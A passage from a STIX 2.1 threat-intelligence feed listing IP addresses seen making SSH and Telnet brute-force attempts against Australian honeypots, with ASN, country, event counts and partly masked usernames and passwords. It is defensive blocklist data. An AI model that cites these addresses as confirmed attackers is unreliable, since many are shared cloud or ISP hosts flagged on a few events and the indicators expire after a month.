      "valid_from": "2026-05-02T08:15:09.000Z",
      "valid_until": "2026-06-03T08:15:08.000Z"
    },
    {
      "created": "2026-05-02T08:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--c7154bee-2605-45fa-95ba-318d28247281",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T08:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '40.124.186.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:15:09.000Z",
      "valid_until": "2026-06-03T08:15:08.000Z"
    },
    {
      "created": "2026-05-02T08:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--d1ae62dc-0270-4c27-83ee-7df5b5f0ad5e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T08:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:15:09.000Z",
      "valid_until": "2026-06-03T08:15:08.000Z"
    },
    {
      "created": "2026-05-02T08:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--3fa55361-e333-49f7-8679-2c6fe55f9767",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T08:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.36.201.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:15:09.000Z",
      "valid_until": "2026-06-03T08:15:08.000Z"
    },
    {
      "created": "2026-05-02T08:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--c1405110-31ee-4d48-80fb-134de5829aff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T08:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.142.129.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:15:09.000Z",
      "valid_until": "2026-06-03T08:15:08.000Z"
    },
    {
      "created": "2026-05-02T08:15:09.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G************1, U*******************************x. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--df43089e-9472-4f28-93fc-89375b7e9607",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T08:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.23.241.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:15:09.000Z",
      "valid_until": "2026-06-03T08:15:08.000Z"
    },
    {
      "created": "2026-05-02T08:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--238ba3ee-a0a2-4478-bf38-72d5ce5a3534",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T08:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:15:09.000Z",
      "valid_until": "2026-06-03T08:15:08.000Z"
    },
    {
      "created": "2026-05-02T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--c5ff0dda-3675-41a7-b6e3-ce7960035e80",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '110.37.104.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T09:15:10.000Z",
      "valid_until": "2026-06-03T09:15:08.000Z"
    },
    {
      "created": "2026-05-02T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group.",
      "id": "indicator--f6b16d60-5c3f-4ae9-8a97-a7f2c1d96927",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.103.46.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T09:15:10.000Z",
      "valid_until": "2026-06-03T09:15:08.000Z"
    },
    {
      "created": "2026-05-02T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 20857. Organisation(s): Signet B.V..",
      "id": "indicator--d5ed4d33-0189-474d-afcb-06aafd704100",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '149.210.204.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T09:15:10.000Z",
      "valid_until": "2026-06-03T09:15:08.000Z"
    },
    {
      "created": "2026-05-02T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--6ea016ec-ae4a-4d3d-b672-64d5373e6a04",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.34.16.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T09:15:10.000Z",
      "valid_until": "2026-06-03T09:15:08.000Z"
    },
    {
      "created": "2026-05-02T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 245. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--5560c437-318d-4639-b2ac-a93fd16c158a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '158.220.87.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T09:15:10.000Z",
      "valid_until": "2026-06-03T09:15:08.000Z"
    },
    {
      "created": "2026-05-02T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 264838. Organisation(s): INVERSIONES MYJ LTDA.",
      "id": "indicator--ca07f73a-6b3f-4dee-9fe9-9bffe557b0d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.239.190.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T09:15:10.000Z",
      "valid_until": "2026-06-03T09:15:08.000Z"
    },
    {
      "created": "2026-05-02T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 70. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 63835. Organisation(s): No.293,Wanbao Avenue. Usernames observed (masked): r**t, u****u, a***n, c*****n, f*****t. Passwords observed (masked): 1***5, 1*******E, D**********4, P******d, P**********4.",
      "id": "indicator--bbe1f244-9940-4f2a-a866-8ecad12eb5eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.6.109.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T09:15:10.000Z",
      "valid_until": "2026-06-03T09:15:08.000Z"
    },
    {
      "created": "2026-05-02T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 59668. Organisation(s): Turon Media XK.",
      "id": "indicator--2ba7db13-4eb8-4e20-9aac-7804aefbe4e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.218.200.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T09:15:10.000Z",
      "valid_until": "2026-06-03T09:15:08.000Z"
    },
    {
      "created": "2026-05-02T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 992. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 48254. Organisation(s): 20i Limited.",
      "id": "indicator--3b0c3628-6261-434c-bf14-7522da0ee535",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.151.31.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T09:15:10.000Z",
      "valid_until": "2026-06-03T09:15:08.000Z"
    },
    {
      "created": "2026-05-02T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--65716135-6291-4092-892d-11607f6069a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.19.57.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T09:15:10.000Z",
      "valid_until": "2026-06-03T09:15:08.000Z"
    },
    {
      "created": "2026-05-02T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RO. ASN(s): 51295. Organisation(s): Tes Euro Media SRL.",
      "id": "indicator--799ab8f1-1653-4756-a271-1d16cedda3d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '194.165.26.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T09:15:10.000Z",
      "valid_until": "2026-06-03T09:15:08.000Z"
    },
    {
      "created": "2026-05-02T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 56. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--b00ada39-5cc8-4476-9c06-31ada2b2cb96",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.51.243.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T09:15:10.000Z",
      "valid_until": "2026-06-03T09:15:08.000Z"
    },
    {
      "created": "2026-05-02T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 266607. Organisation(s): REELU NET COMUNICACOES LTDA.",
      "id": "indicator--1f779c94-8b04-467f-ac8d-27e1c4a312b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.7.194.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T09:15:10.000Z",
      "valid_until": "2026-06-03T09:15:08.000Z"
    },
    {
      "created": "2026-05-02T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 267578. Organisation(s): WILLIAN MENDES DE OLIVEIRA ME.",
      "id": "indicator--a15447a1-f104-4b31-bc22-9d4854b6710f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.70.166.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T09:15:10.000Z",
      "valid_until": "2026-06-03T09:15:08.000Z"
    },
    {
      "created": "2026-05-02T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 43766. Organisation(s): Mobile Telecommunication Company Saudi Arabia Joint-Stock company.",
      "id": "indicator--32002e50-da68-41a8-b233-735d11f86d69",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.36.51.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T09:15:10.000Z",
      "valid_until": "2026-06-03T09:15:08.000Z"
    },
    {
      "created": "2026-05-02T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--8bae08a2-790b-4d37-a2f4-f833e3ef3fb9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T09:15:10.000Z",
      "valid_until": "2026-06-03T09:15:08.000Z"
    },
    {
      "created": "2026-05-02T09:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--38ec0345-51da-4144-9816-545b366fb01a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T09:15:10.000Z",
      "valid_until": "2026-06-03T09:15:08.000Z"
    },
    {
      "created": "2026-05-02T10:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--d3440a28-ac95-4b5e-b6cc-a6818a225936",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T10:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.161.67.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T10:15:09.000Z",
      "valid_until": "2026-06-03T10:15:08.000Z"
    },
    {
      "created": "2026-05-02T10:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d83790fc-d5b7-4aae-8a15-dbb404a2368a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T10:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.242.172.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T10:15:09.000Z",
      "valid_until": "2026-06-03T10:15:08.000Z"
    },
    {
      "created": "2026-05-02T10:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--38971095-3b51-4c99-bf05-5036f1c7160e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T10:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T10:15:09.000Z",
      "valid_until": "2026-06-03T10:15:08.000Z"
    },
    {
      "created": "2026-05-02T10:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 250. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, u****u, t**t, t***2, u**r. Passwords observed (masked): 1****6, 1**1, 1****2, 1*****7, 1*******..",
      "id": "indicator--074c6f15-646d-4405-99d0-f73b65d772b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T10:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.154.36.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T10:15:09.000Z",
      "valid_until": "2026-06-03T10:15:08.000Z"
    },
    {
      "created": "2026-05-02T10:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 264549. Organisation(s): ADVANX INFORMATICA LTDA.",
      "id": "indicator--bc7de8b9-69ae-4e42-9a2f-88f3beff1ea1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T10:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '168.228.204.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T10:15:09.000Z",
      "valid_until": "2026-06-03T10:15:08.000Z"
    },
    {
      "created": "2026-05-02T10:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 3816. Organisation(s): COLOMBIA TELECOMUNICACIONES S.A. ESP BIC. Usernames observed (masked): r**t. Passwords observed (masked): Q******1.",
      "id": "indicator--05929bed-9b5d-42b8-af43-4c1f0161996b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T10:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.234.2.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T10:15:09.000Z",
      "valid_until": "2026-06-03T10:15:08.000Z"
    },
    {
      "created": "2026-05-02T10:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 28598. Organisation(s): DB3 SERVICOS DE TELECOMUNICACOES S.A. Usernames observed (masked): u**r. Passwords observed (masked): 1*****m.",
      "id": "indicator--f60112db-d9b5-457c-a20f-3626a6a4a163",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T10:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.110.238.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T10:15:09.000Z",
      "valid_until": "2026-06-03T10:15:08.000Z"
    },
    {
      "created": "2026-05-02T10:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 154217. Organisation(s): PT Fiber Akses Nusantara.",
      "id": "indicator--291c8d8a-b8d0-4a59-8df5-a92be8268c2e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T10:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '202.6.192.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T10:15:09.000Z",
      "valid_until": "2026-06-03T10:15:08.000Z"
    },
    {
      "created": "2026-05-02T10:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--001cbddd-a78d-4341-b3a2-1cee130cd50c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T10:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.135.161.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T10:15:09.000Z",
      "valid_until": "2026-06-03T10:15:08.000Z"
    },
    {
      "created": "2026-05-02T10:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 20115. Organisation(s): Charter Communications LLC.",
      "id": "indicator--2b57a728-f115-4510-b6b6-7a0a0fb099b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T10:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '24.178.165.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T10:15:09.000Z",
      "valid_until": "2026-06-03T10:15:08.000Z"
    },
    {
      "created": "2026-05-02T10:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--8546502e-5eff-4032-b442-8f77535701d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T10:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '62.84.187.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T10:15:09.000Z",
      "valid_until": "2026-06-03T10:15:08.000Z"
    },
    {
      "created": "2026-05-02T10:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC. Usernames observed (masked): A*******************p, G************1, U******************************************************************************************************************************6. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--d14e47c2-9203-4b88-99b9-210cfe5ae7a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T10:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T10:15:09.000Z",
      "valid_until": "2026-06-03T10:15:08.000Z"
    },
    {
      "created": "2026-05-02T10:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 29. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--66dd06ca-ff05-4ab7-8487-340a8a158910",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T10:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.255.59.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T10:15:09.000Z",
      "valid_until": "2026-06-03T10:15:08.000Z"
    },
    {
